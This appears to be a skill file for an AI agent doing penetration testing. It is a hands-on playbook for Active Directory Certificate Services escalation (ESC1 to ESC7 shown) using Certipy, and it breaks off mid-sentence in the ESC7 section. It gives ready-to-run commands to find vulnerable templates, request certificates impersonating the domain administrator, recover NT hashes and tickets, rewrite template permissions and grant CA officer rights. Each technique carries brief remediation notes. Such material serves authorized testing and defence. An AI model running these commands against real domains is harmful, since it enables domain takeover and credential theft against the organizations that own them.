/adcs-attacks

name: adcs-attacks
description: Active Directory Certificate Services (AD CS) escalation techniques ESC1 through ESC17, driven by hand with Certipy (ly4k). Use when the target runs a Certificate Authority and you want to find vulnerable certificate templates or CA misconfigurations, request a certificate that impersonates a privileged user, and know the exact certipy command, what each ESC actually checks, the Windows Event IDs that fire, and the remediation. ESC1 and ESC8 are the two you hit most in the field.

AD CS Attacks (ESC1–ESC17)

AD CS is the single richest privilege-escalation surface in modern AD. A misconfigured template or CA lets a low-privileged user obtain a certificate that authenticates as a Domain Admin. This skill uses **Certipy** (the `ly4k` project) throughout. You drive it by hand.

The whole thing starts with one enumeration pass. Run it first, read the output, then pick the ESC that applies.

certipy find -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -stdout

Certipy names each finding by its ESC number, so the tool's output tells you which of the below applies. Save the full JSON/BloodHound output for the report:

certipy find -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -old-bloodhound

The generic exploitation pattern, once you know the template/CA: request a cert, then authenticate with it to recover an NT hash or a TGT. `-target` is the CA/enrollment host and must be an FQDN, not an IP.

certipy req -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 \
  -target ca.corp.local -ca CORP-CA -template <VulnTemplate> [attack-specific flags]
certipy auth -pfx administrator.pfx -domain corp.local

`certipy auth` performs PKINIT and hands you the TGT plus the NT hash of the impersonated account. If it errors with an object SID mismatch, add `-sid <target-SID>`.

---

ESC1: Enrollee-supplied SAN (MOST COMMON)

**What it checks.** A template where low-priv users can enroll, the template has an authentication EKU (Client Authentication / PKINIT / Smart Card Logon), and `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` is set, meaning the requester chooses the Subject Alternative Name. You put a Domain Admin's UPN in the SAN and get a cert that authenticates as them.

certipy req -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 \
  -target ca.corp.local -ca CORP-CA -template VulnUserTemplate -upn administrator@corp.local
certipy auth -pfx administrator.pfx -domain corp.local

**Remediation.** Remove `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` from templates that have an authentication EKU. Require CA manager approval for enrollment. Restrict enrollment permissions.

---

ESC2: Any Purpose / no EKU template

**What it checks.** A template with the Any Purpose EKU (or no EKU at all) that low-priv users can enroll in. The resulting certificate can be used for client authentication (and more), so it behaves like ESC1 without the SAN requirement, subject to how the CA maps it.

certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template AnyPurposeTemplate

**Remediation.** Define explicit, minimal EKUs; never leave Any Purpose or empty EKU on enrollable templates.

---

ESC3: Enrollment Agent certificate

**What it checks.** A template granting the Certificate Request Agent EKU. You enroll to get an enrollment-agent cert, then use it to request a certificate *on behalf of* another user.

certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template EnrollAgentTemplate
certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template User \
  -on-behalf-of 'CORP\administrator' -pfx enrollment_agent.pfx

**Remediation.** Restrict who can enroll in enrollment-agent templates; use enrollment-agent restrictions on the CA.

---

ESC4: Template ACL is writable

**What it checks.** You have write access (GenericWrite/WriteDacl/Owner) over the template object itself. You rewrite the template to be ESC1-vulnerable, exploit it, then revert. Certipy automates the flip.

certipy template -u user@corp.local -p 'Password123' -template VulnTemplate \
  -save-old -dc-ip 10.0.0.10
# now exploit as ESC1, then restore:
certipy template -u user@corp.local -p 'Password123' -template VulnTemplate \
  -configuration VulnTemplate.json

**Remediation.** Remove write ACEs on template objects for non-Tier-0 principals.

---

ESC5: PKI object ACL / CA object control

**What it checks.** Control over PKI-related AD objects (the CA computer object, the CA's container in the Configuration partition, etc.). Broad; it collapses to whatever the writable object lets you change. Assess and remediate via the same ACL discipline as ESC4.

**Remediation.** Audit ACLs on the whole `CN=Public Key Services` configuration container.

---

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA

**What it checks.** The CA has the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set, which lets a requester specify an arbitrary SAN on *any* request regardless of the template. It is effectively domain-wide ESC1. (Note: the May 2022 certificate-mapping hardening blunts SAN-only spoofing on patched DCs, but the misconfiguration is still a finding.)

certipy req -u user@corp.local -p 'Password123' -ca CORP-CA \
  -template User -upn administrator@corp.local

**Remediation.** Remove the flag: `certutil -config "CA\CORP-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2`, then restart certsvc.

---

ESC7: Vulnerable CA access control (ManageCA / ManageCertificates)

**What it checks.** You hold the ManageCA or Manage Certificates right on the CA. ManageCA lets you flip CA settings (e.g. enable ESC6) or add yourself as a certificate manager to approve pending requests.

certipy ca -u user@corp.local -p 'Password123' -ca CORP-CA -add-officer user
certipy ca -u user@corp.local -p 'Password123' -ca CORP-CA -enable-template SubCA

**Remediation.** Restrict ManageCA/ManageCertificates to Tier-0 CA ad